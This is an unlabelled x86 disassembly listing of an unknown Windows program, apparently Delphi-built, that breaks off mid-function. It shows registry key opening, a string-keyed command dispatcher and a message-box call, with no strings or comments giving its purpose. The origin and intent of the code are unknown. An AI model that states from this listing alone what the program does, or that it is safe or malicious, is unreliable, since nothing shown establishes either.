mov byte [ebp - 0x625], 1
lea edx, [ebp - 0xa0c]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0xa0c]
call fcn.0040b2d4
mov dword [ebp - 0x62c], eax
cmp byte [ebp - 0x625], 0
je 0x597e61
lea edx, [ebp - 0xa10]
mov eax, 0x5ad914
call fcn.0058ff78
mov eax, dword [ebp - 0xa10]
call fcn.0040b2d4
cdq
push edx
push eax
push 0
push 0x64
push 0
push 0
lea edx, [ebp - 0xa14]
mov eax, 0x5ad8d4
call fcn.0058ff78
mov eax, dword [ebp - 0xa14]
call fcn.005b3a68
xor eax, eax
call fcn.0058ed3c
cmp dword [ebp + 0xc], 0
je 0x597e8a
mov eax, dword [ebp - 0x534]
call dword [ebp + 0xc]
test al, al
jne 0x597e8a
push ebp
mov al, 1
call fcn.00594040
pop ecx
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x5acfba
mov edx, dword [ebp - 0x438]
mov eax, dword [0x5dbccc]
mov ecx, dword [eax]
call dword [ecx + 0x54]
inc eax
je 0x5987c4
cmp dword [0x5dbd74], 2
jne 0x59808f
lea ecx, [ebp - 0xa18]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa18], 0
je 0x59808f
xor eax, eax
push ebp
push 0x597f3e
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 0x3e4]
push eax
lea eax, [ebp - 0x3ec]
push eax
lea eax, [ebp - 0x3f0]
push eax
lea eax, [ebp - 0x3f4]
push eax
lea eax, [ebp - 0x3f8]
push eax
lea eax, [ebp - 0x609]
push eax
lea ecx, [ebp - 0xa1c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xa1c]
mov ecx, dword [ebp - 0x3e8]
mov edx, dword [ebp - 0x1d8]
call fcn.005901ac
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x597f97
lea ecx, [ebp - 0xa24]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa24], 0
jne 0x598022
push dword [0x5dbd38]
lea ecx, [ebp - 0xa28]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa28]
lea eax, [ebp - 0xa2c]
push eax
lea ecx, [ebp - 0xa30]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa30]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
push dword [ebp - 0xa2c]
mov eax, dword [0x5d4a50]
mov edx, 3
call fcn.00405dd8
jmp 0x598642
push dword [0x5dbd38]
lea ecx, [ebp - 0xa34]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa34]
lea eax, [ebp - 0xa38]
push eax
lea ecx, [ebp - 0xa3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa3c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
push dword [ebp - 0xa38]
mov eax, dword [0x5d4a50]
mov edx, 3
call fcn.00405dd8
jmp 0x598642
cmp dword [0x5dbd74], 2
je 0x5985e9
lea ecx, [ebp - 0xa40]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
cmp dword [ebp - 0xa40], 0
je 0x5985e9
push dword [0x5dbd38]
lea ecx, [ebp - 0xa44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa44]
lea eax, [ebp - 0xa48]
push eax
lea ecx, [ebp - 0xa4c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa4c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
push dword [ebp - 0xa48]
mov eax, dword [0x5d4a50]
mov edx, 3
call fcn.00405dd8
cmp dword [0x5dbd74], 3
jne 0x5983ed
mov eax, dword [0x5d4a50]
mov eax, dword [eax]
call fcn.0040b89c
test al, al
jne 0x5983ed
mov eax, 0x5dbd3c
call fcn.00405a44
xor eax, eax
push ebp
push 0x5982f2
push dword fs:[eax]
mov dword fs:[eax], esp
mov dl, 1
mov eax, dword [0x430728]
call fcn.00430894
mov dword [ebp - 0x53c], eax
lea edx, [ebp - 0xa50]
mov eax, 0x5ad700
call fcn.0058ff78
mov eax, dword [ebp - 0xa50]
call fcn.00593654
test al, al
je 0x5981a2
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
jmp 0x5981b2
mov edx, 0x80000001
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [0x5d510c]
cmp dword [eax], 1
jne 0x5981cc
mov edx, 0x80000002
mov eax, dword [ebp - 0x53c]
call fcn.00430970
mov eax, dword [ebp - 0x53c]
mov dword [eax + 0x18], 0x20019
lea edx, [ebp - 0xa58]
mov eax, 0x5adaf8
call fcn.0058ff78
mov ecx, dword [ebp - 0xa58]
lea eax, [ebp - 0xa54]
mov edx, 0x5adb80
call fcn.00405d5c
mov edx, dword [ebp - 0xa54]
xor ecx, ecx
mov eax, dword [ebp - 0x53c]
call fcn.004309d8
lea ecx, [ebp - 0xa5c]
mov edx, 0x5adbc0
mov eax, dword [ebp - 0x53c]
call fcn.0043103c
mov edx, dword [ebp - 0xa5c]
mov eax, 0x5dbd3c
call fcn.00405a98
mov edx, dword [0x5dbd3c]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, 1
call fcn.00405f7c
mov eax, dword [0x5dbd3c]
mov dword [ebp - 0x6f8], eax
mov eax, dword [ebp - 0x6f8]
mov dword [ebp - 0x6fc], eax
cmp dword [ebp - 0x6fc], 0
je 0x59828a
mov eax, dword [ebp - 0x6fc]
sub eax, 4
mov eax, dword [eax]
mov dword [ebp - 0x6fc], eax
mov edx, dword [0x5dbd3c]
mov eax, 0x5adbd8
call fcn.00410338
mov edx, eax
mov eax, 0x5dbd3c
mov ecx, dword [ebp - 0x6fc]
call fcn.00405f7c
lea edx, [ebp - 0xa64]
mov eax, dword [0x5dbd3c]
call fcn.0040bb78
mov eax, dword [ebp - 0xa64]
lea edx, [ebp - 0xa60]
call fcn.00589d4c
mov edx, dword [ebp - 0xa60]
mov eax, 0x5dbd3c
call fcn.00405a98
mov eax, dword [ebp - 0x53c]
call fcn.00404ae4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x598306
cmp dword [0x5d4658], 0
je 0x59832f
lea edx, [ebp - 0xa68]
mov eax, dword [0x5d4658]
call fcn.00589d4c
mov edx, dword [ebp - 0xa68]
mov eax, 0x5dbd3c
call fcn.00405a98
lea eax, [ebp - 0xa6c]
mov ecx, dword [0x5dbd08]
mov edx, dword [0x5dbd28]
call fcn.00405d5c
mov eax, dword [ebp - 0xa6c]
call fcn.0040b89c
test al, al
je 0x598365
mov eax, 0x5dbd3c
mov edx, dword [0x5dbd28]
call fcn.00405a98
mov eax, 0x5dbd28
mov edx, dword [0x5dbd3c]
call fcn.00405a98
mov eax, 0x5dbd38
mov edx, dword [0x5dbd3c]
call fcn.00405a98
push dword [0x5dbd38]
lea ecx, [ebp - 0xa70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa70]
lea eax, [ebp - 0xa74]
push eax
lea ecx, [ebp - 0xa78]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa78]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
push dword [ebp - 0xa74]
mov eax, dword [0x5d4a50]
mov edx, 3
call fcn.00405dd8
mov eax, dword [0x5d4a50]
mov eax, dword [eax]
call fcn.0040b89c
test al, al
jne 0x598642
mov byte [ebp - 0x57d], 0
cmp byte [0x5dbcf4], 0
je 0x59841a
mov byte [ebp - 0x57d], 1
jmp 0x59843c
mov eax, dword [0x5dbcc4]
push eax
lea ecx, [ebp - 0x3c0]
mov eax, dword [0x5d4938]
mov eax, dword [eax]
xor edx, edx
call fcn.0042d894
xor al, 1
mov byte [ebp - 0x57d], al
lea edx, [ebp - 0xa7c]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
lea eax, [ebp - 0xa7c]
mov edx, dword [0x5dbd08]
call fcn.00405d10
mov eax, dword [ebp - 0xa7c]
call fcn.0040b89c
test al, al
jne 0x5984b2
lea edx, [ebp - 0xa84]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
push dword [ebp - 0xa84]
push 0x5ade54
push dword [0x5dbd08]
lea eax, [ebp - 0xa80]
mov edx, 3
call fcn.00405dd8
mov eax, dword [ebp - 0xa80]
call fcn.0040b89c
test al, al
jne 0x5984b2
xor eax, eax
jmp 0x5984b4
mov al, 1
mov byte [ebp - 0x57e], al
movzx eax, byte [ebp - 0x57d]
or al, byte [ebp - 0x57e]
je 0x598408
cmp byte [ebp - 0x57e], 0
je 0x5985ce
lea edx, [ebp - 0xa88]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
lea eax, [ebp - 0xa88]
mov edx, dword [0x5dbd08]
call fcn.00405d10
mov eax, dword [ebp - 0xa88]
call fcn.0040b89c
test al, al
je 0x59852e
lea edx, [ebp - 0xa8c]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
mov edx, dword [ebp - 0xa8c]
mov eax, 0x5dbd28
call fcn.00405a98
jmp 0x598554
lea edx, [ebp - 0xa90]
mov eax, dword [ebp - 0x3c0]
call fcn.00589d4c
mov edx, dword [ebp - 0xa90]
mov eax, 0x5dbd28
mov ecx, 0x5ade54
call fcn.00405d5c
mov eax, 0x5dbd38
mov edx, dword [0x5dbd28]
call fcn.00405a98
push dword [0x5dbd38]
lea ecx, [ebp - 0xa94]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp + 0x14]
mov ebx, dword [eax]
call dword [ebx + 0xc]
push dword [ebp - 0xa94]
lea eax, [ebp - 0xa98]
push eax
lea ecx, [ebp - 0xa9c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xa9c]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
push dword [ebp - 0xa98]
mov eax, dword [0x5d4a50]
mov edx, 3
call fcn.00405dd8
jmp 0x598642
mov ecx, dword [0x5d4ee0]
mov ecx, dword [ecx]
mov dl, 1
mov eax, dword [0x409a18]
call fcn.0040f504
call fcn.00405398
jmp 0x598642
lea eax, [ebp - 0xaa4]
push eax
lea ecx, [ebp - 0xaa8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaa8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xaa4]
lea edx, [ebp - 0xaa0]
call fcn.0040bc64
mov ecx, dword [ebp - 0xaa0]
mov eax, dword [0x5d4a50]
mov edx, dword [0x5dbd24]
call fcn.00405d5c
lea eax, [ebp - 0xaac]
call fcn.0058ee54
mov edx, dword [ebp - 0xaac]
mov eax, dword [0x5d4d10]
call fcn.00405a98
lea eax, [ebp - 0xab0]
push eax
lea ecx, [ebp - 0xab4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xab4]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xab0]
mov eax, dword [0x5d4e50]
call fcn.00405a98
mov eax, dword [0x5d4a50]
mov eax, dword [eax]
call fcn.0040b89c
test al, al
jne 0x5986f4
push 0x10
lea eax, [ebp - 0xab8]
call fcn.004b058c
mov eax, dword [ebp - 0xab8]
call fcn.00405ed4
push eax
lea edx, [ebp - 0xabc]
mov eax, 0x58e054
call fcn.00408164
mov eax, dword [ebp - 0xabc]
call fcn.00405ed4
push eax
mov eax, dword [0x5dbcc4]
push eax
call sub.user32.dll_MessageBoxA_1
jmp 0x5acec8
mov eax, dword [0x5d4efc]
mov byte [eax], 0
mov eax, dword [0x5d4838]
mov edx, dword [0x5dbcc4]
mov dword [eax], edx
mov eax, dword [0x5d4f00]
mov byte [eax], 1
xor eax, eax
push ebp
push 0x598781
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
call fcn.005923fc
xor ecx, ecx
mov dl, 1
mov eax, dword [0x57a0c0]
call fcn.0042a378
mov edx, dword [0x5d4dc8]
mov dword [edx], eax
mov eax, dword [0x5d4dc8]
mov eax, dword [eax]
call fcn.0058ed3c
call fcn.005b3a54
inc eax
jne 0x59875f
mov eax, dword [0x5d4dc8]
mov eax, dword [eax]
call fcn.0042a830
mov eax, dword [0x5d4efc]
cmp byte [eax], 0
je 0x59873f
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x598788
call fcn.0059244c
call fcn.005924e8
ret
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade64
call fcn.00405e6c
jne 0x59890f
lea eax, [ebp - 0xac4]
push eax
lea ecx, [ebp - 0xac8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xac8]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xac4]
lea edx, [ebp - 0xac0]
call fcn.00593948
mov edx, dword [ebp - 0xac0]
mov eax, dword [ebp - 0x1d8]
mov ecx, dword [eax]
call dword [ecx + 0x2c]
push dword [0x5dbd28]
lea eax, [ebp - 0xacc]
push eax
lea ecx, [ebp - 0xad0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xad0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
push dword [ebp - 0xacc]
push 0x5ade7c
lea eax, [ebp - 0x3e8]
mov edx, 3
call fcn.00405dd8
lea eax, [ebp - 0x3e4]
call fcn.00405a44
lea eax, [ebp - 0xad4]
push eax
lea ecx, [ebp - 0xad8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xad8]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xad4]
lea edx, [ebp - 0x3e4]
call fcn.0058fa70
cmp dword [ebp - 0x3e4], 0
jne 0x5988e8
lea edx, [ebp - 0x3e4]
mov eax, 0x5ade8c
call fcn.0058fa70
lea edx, [ebp - 0xadc]
mov eax, dword [ebp - 0x3e4]
call fcn.0058fb7c
mov edx, dword [ebp - 0xadc]
lea eax, [ebp - 0x3e4]
call fcn.00405adc
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5ade9c
call fcn.00405e6c
jne 0x5989cc
lea eax, [ebp - 0x3b0]
push eax
lea ecx, [ebp - 0xae0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xae0]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
lea edx, [ebp - 0xae8]
mov eax, dword [ebp - 0x3b0]
call fcn.0040ab58
mov edx, dword [ebp - 0xae8]
mov eax, dword [0x5dbcd0]
mov ecx, dword [eax]
call dword [ecx + 0x54]
mov edx, eax
inc edx
lea ecx, [ebp - 0xae4]
mov eax, dword [0x5dbcd0]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov eax, dword [ebp - 0xae4]
call fcn.0040b2d4
mov dword [ebp - 0x534], eax
xor eax, eax
mov dword [ebp - 0x58c], eax
mov byte [ebp - 0x584], 0
mov byte [ebp - 0x583], 0
mov byte [ebp - 0x585], 0
mov byte [ebp - 0x58d], 0
mov byte [ebp - 0x58e], 0
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5adeb0
call fcn.00405e6c
jne 0x598c59
xor eax, eax
push ebp
push 0x598c52
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
lea eax, [ebp - 0xaec]
push eax
lea ecx, [ebp - 0xaf0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaf0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xaec]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0xaf4]
push eax
lea ecx, [ebp - 0xaf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xaf8]
mov ecx, 3
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xaf4]
lea edx, [ebp - 0x3d4]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x598b68
push 0
lea eax, [ebp - 0xb00]
push eax
lea eax, [ebp - 0xb04]
push eax
lea ecx, [ebp - 0xb08]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb08]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xb04]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0xb00]
lea edx, [ebp - 0xafc]
call fcn.00593948
mov edx, dword [ebp - 0xafc]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0xb10]
push eax
lea eax, [ebp - 0xb14]
push eax
lea ecx, [ebp - 0xb18]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb18]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xb14]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0xb10]
lea edx, [ebp - 0xb0c]
call fcn.00593948
mov edx, dword [ebp - 0xb0c]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
push 0x5adec8
lea eax, [ebp - 0xb1c]
push eax
lea ecx, [ebp - 0xb20]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb20]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xb1c]
lea ecx, [ebp - 0x424]
lea edx, [ebp - 0x420]
call fcn.0058e524
movzx eax, byte [0x5adecc]
push eax
push 0
push 0
push 1
push 0
push 0xffffffffffffffff
lea edx, [ebp - 0xb28]
mov eax, dword [ebp - 0x424]
call fcn.0058feb0
mov eax, dword [ebp - 0xb28]
push eax
lea eax, [ebp - 0xb24]
push eax
lea edx, [ebp - 0xb2c]
mov eax, dword [ebp - 0x3d4]
call fcn.0058feb0
mov eax, dword [ebp - 0xb2c]
push eax
lea edx, [ebp - 0xb30]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov eax, dword [ebp - 0xb30]
push eax
lea edx, [ebp - 0xb34]
mov eax, dword [ebp - 0x420]
call fcn.0058feb0
mov eax, dword [ebp - 0xb34]
pop edx
pop ecx
call fcn.0058953c
call fcn.00405444
jmp 0x5acec8
mov eax, dword [ebp - 0x438]
mov edx, 0x5aded8
call fcn.00405e6c
jne 0x599e11
xor eax, eax
push ebp
push 0x599e0a
push dword fs:[eax]
mov dword fs:[eax], esp
call fcn.0059246c
call fcn.005923fc
lea eax, [ebp - 0xb38]
push eax
lea ecx, [ebp - 0xb3c]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb3c]
mov ecx, 1
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xb38]
lea edx, [ebp - 0x3d0]
call fcn.00593948
lea eax, [ebp - 0xb40]
push eax
lea ecx, [ebp - 0xb44]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb44]
mov ecx, 6
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xb40]
lea edx, [ebp - 0x3d4]
call fcn.00593948
cmp dword [0x5dbd5c], 0
je 0x598dfa
push 0
lea eax, [ebp - 0xb4c]
push eax
lea eax, [ebp - 0xb50]
push eax
lea ecx, [ebp - 0xb54]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb54]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xb50]
mov ecx, 1
mov eax, dword [ebp - 0x3d0]
call fcn.005b24d0
mov eax, dword [ebp - 0xb4c]
lea edx, [ebp - 0xb48]
call fcn.00593948
mov edx, dword [ebp - 0xb48]
lea eax, [ebp - 0x3d0]
call fcn.00405adc
push 0
lea eax, [ebp - 0xb5c]
push eax
lea eax, [ebp - 0xb60]
push eax
lea ecx, [ebp - 0xb64]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb64]
xor ecx, ecx
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov edx, dword [ebp - 0xb60]
mov ecx, 2
mov eax, dword [ebp - 0x3d4]
call fcn.005b24d0
mov eax, dword [ebp - 0xb5c]
lea edx, [ebp - 0xb58]
call fcn.00593948
mov edx, dword [ebp - 0xb58]
lea eax, [ebp - 0x3d4]
call fcn.00405adc
lea eax, [ebp - 0xb6c]
push eax
lea ecx, [ebp - 0xb70]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb70]
mov ecx, 0xc
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xb6c]
lea edx, [ebp - 0xb68]
call fcn.0058feb0
mov eax, dword [ebp - 0xb68]
call fcn.00593654
test al, al
je 0x598e7f
lea edx, [ebp - 0xb78]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0xb78]
lea eax, [ebp - 0xb74]
call fcn.004063e4
mov eax, dword [ebp - 0xb74]
lea edx, [ebp - 0x440]
call fcn.00586d60
lea eax, [ebp - 0xb80]
push eax
lea ecx, [ebp - 0xb84]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb84]
mov ecx, 0xd
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xb80]
lea edx, [ebp - 0xb7c]
call fcn.0058feb0
mov eax, dword [ebp - 0xb7c]
call fcn.00593654
test al, al
je 0x598f04
lea edx, [ebp - 0xb8c]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0xb8c]
lea eax, [ebp - 0xb88]
call fcn.004063e4
mov eax, dword [ebp - 0xb88]
lea edx, [ebp - 0x440]
call fcn.00586dcc
lea eax, [ebp - 0xb94]
push eax
lea ecx, [ebp - 0xb98]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xb98]
mov ecx, 0xe
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xb94]
lea edx, [ebp - 0xb90]
call fcn.0058feb0
mov eax, dword [ebp - 0xb90]
call fcn.00593654
test al, al
je 0x598f89
lea edx, [ebp - 0xba0]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0xba0]
lea eax, [ebp - 0xb9c]
call fcn.004063e4
mov eax, dword [ebp - 0xb9c]
lea edx, [ebp - 0x440]
call fcn.00586f34
lea eax, [ebp - 0xba8]
push eax
lea ecx, [ebp - 0xbac]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbac]
mov ecx, 0xf
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xba8]
lea edx, [ebp - 0xba4]
call fcn.0058feb0
mov eax, dword [ebp - 0xba4]
call fcn.00593654
test al, al
je 0x59900e
lea edx, [ebp - 0xbb4]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0xbb4]
lea eax, [ebp - 0xbb0]
call fcn.004063e4
mov eax, dword [ebp - 0xbb0]
lea edx, [ebp - 0x440]
call fcn.00587264
lea eax, [ebp - 0xbbc]
push eax
lea ecx, [ebp - 0xbc0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbc0]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xbbc]
lea edx, [ebp - 0xbb8]
call fcn.0058feb0
mov eax, dword [ebp - 0xbb8]
call fcn.00593654
test al, al
je 0x599093
lea edx, [ebp - 0xbc8]
mov eax, dword [ebp - 0x3d0]
call fcn.0058feb0
mov edx, dword [ebp - 0xbc8]
lea eax, [ebp - 0xbc4]
call fcn.004063e4
mov eax, dword [ebp - 0xbc4]
lea edx, [ebp - 0x440]
call fcn.00586cf4
lea eax, [ebp - 0xbd0]
push eax
lea ecx, [ebp - 0xbd4]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbd4]
mov ecx, 9
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xbd0]
lea edx, [ebp - 0xbcc]
call fcn.0058feb0
mov eax, dword [ebp - 0xbcc]
call fcn.00593654
test al, al
je 0x599b9f
lea eax, [ebp - 0xbdc]
push eax
lea ecx, [ebp - 0xbe0]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbe0]
mov ecx, 2
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xbdc]
lea edx, [ebp - 0xbd8]
call fcn.0058feb0
mov eax, dword [ebp - 0xbd8]
call fcn.00593654
test al, al
je 0x59938f
call fcn.00581dcc
lea eax, [ebp - 0x43c]
call fcn.0058296c
lea eax, [ebp - 0xbe8]
push eax
lea ecx, [ebp - 0xbec]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbec]
mov ecx, 7
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xbe8]
lea edx, [ebp - 0xbe4]
call fcn.0058feb0
mov eax, dword [ebp - 0xbe4]
call fcn.00593654
test al, al
je 0x59924d
lea eax, [ebp - 0xbf4]
push eax
lea ecx, [ebp - 0xbf8]
mov edx, dword [ebp - 0x534]
dec edx
mov eax, dword [ebp - 0x524]
mov ebx, dword [eax]
call dword [ebx + 0xc]
mov edx, dword [ebp - 0xbf8]
mov ecx, 0x10
mov eax, dword [ebp + 0x10]
call fcn.005af678
mov eax, dword [ebp - 0xbf4]
lea edx, [ebp - 0xbf0]
call fcn.0058feb0
mov eax, dword [ebp - 0xbf0]
call fcn.00593654
test al, al
je 0x599223
lea edx, [ebp - 0xbfc]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xbfc]
xor ecx, ecx
mov edx, dword [ebp - 0x43c]
mov ebx, dword [eax]
call dword [ebx + 0xfc]
jmp 0x59924d
lea edx, [ebp - 0xc00]
mov eax, dword [ebp - 0x440]
mov ecx, dword [eax]
call dword [ecx + 0x8c]
mov eax, dword [ebp - 0xc00]
